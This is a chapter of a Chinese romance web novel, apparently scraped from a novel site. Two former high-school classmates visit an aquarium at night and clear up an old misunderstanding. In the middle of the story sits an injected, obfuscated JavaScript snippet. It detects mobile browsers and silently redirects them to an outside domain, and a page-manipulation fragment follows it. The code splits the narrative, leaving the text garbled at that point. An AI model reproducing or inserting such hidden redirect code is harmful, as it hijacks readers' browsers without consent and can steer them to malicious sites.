或许是时凌舒的眼神停留在云淮的身上太久,云淮迟疑地在她面前挥挥手:“魂呢?”
猛地回神,视线逐渐聚焦,她摇头笑笑:“走吧。”
晚上的温度还是有些凉,但与冬日不同,春夏交界时的晚风只是柔柔地贴在皮肤上,带着寻不见出处的花香。
只是走出酒店,她竟已经有些放松的感觉了,坐在敞篷车里,望着远处飞速后移的树木与高楼,任由发丝缠绕在脖颈,嘴角不自觉地笑了笑。
幻灯片一般地街景最后停在了亮着灯的水族馆前,时凌舒意外地扭头看向云淮:“这么晚,在营业?”
“这么亮堂,不营业的话,有些浪费了吧。”瞥见女人兴奋又意外的表情,声音里不自觉地染上笑意,“开心吗?”
脚步比言语更先做了回复,简单拢起头发,时凌舒克制着自己心底的冲动,硬是一步一步慢慢往前走,等待身后的男人。
走了一会儿,却一直听不到身后的脚步声,她有些着急,干脆扭头要去找他。
“别急,有的是时间。”
一转头,光线勾勒出男人修长的身形,正抱着皮衣往自己面前走,若有若无的香气逐渐包裹住她,时凌舒这时候才注意到他竟然已经站在了面前,一双笑盈盈的眼眸盯着自己,在微弱的灯光下反出湿润的光点,让她在一瞬有些迷离。
“这么晚,人是不是很少?”对上视线,她赶忙垂下视线,在脑袋里随便抽出一个话题转移话题。
“不知道。”云淮似乎看出了她的心思,轻声笑笑,“想人少点?”
时凌舒耸耸肩,不置可否。没等他再回应,直接迈步向场馆走。
意料之中的,场馆里的人数很少,只有一两个人在视野中走过。环绕四周,玻璃窗里倒映着水波纹,摇曳着的生命在缸中飘过,透明的蓝色遍布,她一下子愣住了。
“你怎么找到的?我从没见过晚上开门的水族馆。”
“很少,但找一找总能找到。”他顺手接过她臂弯的外套,“很幸运,附近就有。”
“很美,真的很美。”视线被一条散开的彩色鱼尾吸引,她下意识扯扯他的衣袖,嘴里小声感叹着,眼睛随着那条蝴蝶鲤的身姿在水中飘动。
“因祸得福了。”身后响起他的低笑,“下午本来不打算带你来水族馆的。”
“那我怎么知道下午去的地方会不会比这里美?”嘴里这么说着,但眼底始终带着笑,拉着他随着玻璃向前走着。
“其实我根本就没做下午的计划。”
时凌舒挑眉看过去,有些嫌弃:“马后炮。”
“我猜到你下午根本就回不来。”手掌胡乱揉了两下她的脑袋,“每次都会拖很久,干脆就没安排。”
“那你刚才在酒店怎么不早说!故弄玄虚地说了一大堆。”一想到刚才的场景,眼神瞪过去,“以后不许在我这里摆架子。”
“好好好。”最后拖了长长的一个尾音,他收回手掌,意犹未尽地攥住手,手心似乎还留有她发丝的味道。
夜间人少,虽然很清净,可随着向内走,灯光越来越暗,满目的蓝压在眼皮,她隐隐有些犯怵,走得越来越慢。
扭头观察男人的频率越来越频繁了,生怕一不留神他就消失了,再把自己变成某本悬疑小说的主角。
不知不觉间,两人的距离拉近,手背悄然蹭过他的皮肤,她赶忙收回手,若无其事地眨眨眼,往外挪了挪。
“什么时候这么生疏了,嗯?”带着一丝沙哑的声音在空旷的空间里荡漾开来,也看出了她的胆小,“害怕就不往里走了。”
“来都来了……”她不舍地盯着向前延伸的隧道,犹豫了一下,“说不定里面还有什么有意思的地方呢?”
话音刚落,手背就被一个温热的手心包裹住了,接着就听他说:“走吧,我永远在你的身边。”
“单纯想占我便宜吧。”红着脸小声嘟囔着,身体却格外诚实,指尖收了收,捻上他的指节。
“嗯哼。”他笑了,“就咱们两个人,你觉得我听不见?”
时凌舒深吸一口气,扭过头,泛红的耳尖从乌黑的秀发间露出一点,就像是她隐隐加速的心跳。
流星般的乳白色水母从头顶、身侧划过,鹦鹉鱼在珊瑚中穿梭着,时凌舒仰头看向游过的鳐鱼,却突然被两人在水下的倒影吸引住了。
不宽不窄的隧道里只有自己和他,两个人的手攥在一起,手掌是温热的,鼻尖是再熟悉不过的香味,脑袋里不知道在想些什么,被潮水胡乱冲在了一起。
“你看,那边的小鲨鱼。嗯?是鲨鱼吗?”他还沉浸在海底世界里,没听见她回应,于是就晃晃胳膊,试图获取她的注意力。
时凌舒迷糊地转过头,就看到他笼罩在冷光下的侧脸,不知道是不是因为光线的问题,竟让她一下回忆起了高中时那个温柔的男生。
“云淮?”她鬼使神差地开了口,“高中的事情,你还记得吗?”
他的表情一怔,眼神黯了黯,转而笑笑:“怎么?我一直记得,我不会忘。”
“没事,就是刚才突发奇想,当我没说话好了。”牵强地笑了两声,她重新将视线转移向一旁。
“想问什么?”
“没什么,太晚了,有点神智不清了而已。”脑袋里不受控制地想到时彩,还有屏幕上的备注“彩”,脸色越来越糟糕。
“累了?”云淮看出来她蹙起的眉头,一下子猜到她肯定是想到了什么,弯腰看着她。
“不用这么关心我。”时凌舒的声音沉下来,抬头瞥去一眼,“也不用那么小心翼翼地对我。”
“回忆起不高兴的事情了?这里就我们两个,你就算是吼出来都不会有人听到。”说完,又想起什么似的,补充了一句,“和我有关的吧。”
隧道里的氛围比刚才更冷了,不过云淮倒是不急,慢慢迈着步子跟在她身后,期待着她出声。
“你高中,有喜欢的人吗?”她的声音很小,在厚厚的玻璃壁间轻轻地飘动。
“装傻?”喉咙里溢出几声轻笑,“想再听我说一次?”
“我没开玩笑。”
“我也是。”
时凌舒抬眼就看到他诚挚的眼神,有些无措,深吸一口气:“好了,这个话题就这样吧。”
“你以为是谁?时彩?”
从他嘴里听到这个名字,一股奇怪的感觉升起,黏糊糊地扒在心口,甩也甩不掉,深呼吸也无法消散,只好哼笑一声:“你这不是自己说了?”
“诶,只是因为我聪明,猜到了。”本来还慢吞吞哄人的语气,瞬间变得焦急,“你之前就问过我!但你又不告诉我你这么猜的原因。”
“什么叫猜?!”她有点急了,“我亲眼看到的,别把锅扣我头上!”
“那你告诉我,你亲眼看到什么了。”站在原地,还牵着时凌舒的手一用力,她被带得转过身,两人站在原地,视线交错。
“我没什么可说的,你自己干的事情自己清楚。”
“出国没有先告诉你,就这件?”
“你觉得我是这么一个小家子气的人?就因为这点小事翻脸不认人?”不知道怎么,当时拿着满当当塑料袋,站在夕阳下的小女孩突然出现在了这个时空一样,她的情绪瞬间被扯到了当时的场景里,眼前模糊起来。
“那我先说句对不起,不难受了,好不好?”感受到他的手掌松开了,那双细长的手下意识抓住了他的衣袖。
意识到自己的动作后她吓得赶紧松手,想要往后退。
却被有力的胳膊揽住了后腰,一下子被带进了温暖的怀里,紧接着就听到贴着脸颊的胸膛颤动:“我只是想抱抱你,不走。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903225|176725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼泪却莫名越流越多,她小声抽噎着,半晌没有出声,情绪随着四周的水流一起起伏、晃动。
“发泄出来,就好了。”像是妈妈一样,他轻轻拍打着她的后背,身体微微晃动,“我的错,不该一直问你。”
“我这样是不是特别讨厌……情绪化、不受控、矫情……”她的声音闷在胸口,“我就很讨厌这样的自己,别扭又多事,敏感又自卑,还总是沉浸在自己的情绪里,很自私。”
“明明今天是你花了很久时间陪我,我竟然在这里对你发脾气。”说完,她自嘲地笑了两声,就想要从他怀里走开。
“那补偿我。”胳膊一用力,把她圈得更紧,视线盯着前面缓缓游过的水母,“因为什么误会了我?”
“你怎么知道是误会?就不能是事实?”
“没发生的事情,怎么能是事实?”
时凌舒愣了一下:“那就算了,说也没必要,你都说了没发生。”
“我要解释给你听,把你想知道的都告诉你,斩草除根,知道吗?我不想留给它们再次生根发芽的机会。”
本来深重的呼吸声逐渐变轻,缓了很久,她似乎才下定决心,小声地说道:“我说,但你也不能笑我,也不要告诉别人,更不要背地里嘲笑我。”
“我发誓。”
从他的心口听到这一字一句的话,重重地压在耳边,像是誓言一样,让她安心了不少。
又过了半晌,她终于再次开了口,声音很轻,但语速极快:“你抱着她,在夕阳下。还有手机里的备注,一个叫‘彩’的女人发给你的,让你去她家拿衣服……”
话音一落,她感觉到云淮的身体一下子放松了,接着就听到他抑制不住地笑声。
不知道是气的还是害羞,她的脸通红,仰起头恶狠狠地瞪着他,却忽略了自己还泛红的眼睛,眼神倒是没什么威慑力。
“我真是……”云淮笑得发颤,“我妈要是知道了……她会笑晕过去。”
时凌舒一下子懵了,但知道肯定是要看自己笑话,二话不说挣开他的胳膊,双手掐住他的衣领,大力晃着:“你发过誓!”
“我发誓,我不说。”他逐渐缓过来了,但还是时不时笑得抖一下,“那个‘彩’,是我妈,我不去她那里拿衣服,我去找谁?!”
脸红得像猴屁股,她急着接话:“那还说什么,‘跟叔叔阿姨说了’,你骗鬼呢!怎么可能是你妈!”
“‘叔叔阿姨’,是我们家亲戚。在那边住,正好可以接我。”他深吸一口气,把笑意按下去,“你到底自己脑补了多少,这都能联想起来。”
“那这个翻篇儿!”她气急败坏地挥挥手,“我亲眼看到你抱着时彩。”
“在哪儿?”
“在姥姥家楼底。”其实心底有些害怕,就怕他真的认了,自己又要怎么反应……
“我根本没有印象,说时间。”
“就在那天……咱们见的最后一面。”时凌舒的声音有些发颤,眼神紧张地盯着他。
他却一直不说话,迟迟低着头不说话,末了,才缓缓抬头笑了笑:“嗯哼,你真看到了?”
时凌舒的脸色瞬间冷下来,但云淮根本不会给她胡思乱想的时间:“我记得,那天的所有事情我都捋过很多很多遍。你看到的是背影吧,只是她坐垫上有个东西硌住了,我帮她清理一下而已。”
“还有吗?我见招拆招。”他颇为得意地挑挑眉,见她不说话,大概猜到她也是没有别的话了,指腹轻轻带过她脸颊残留的泪水,“误会解除了是不是?”
“没有!”她气哄哄地转过头,说着就沿着隧道往里面走去。
看着她大步大步地往里走,云淮也不急了,太害羞的时候,还是让她一个人缓一缓比较好。
嘴角不自觉地上扬,温柔的眼神落在她扬起的发丝。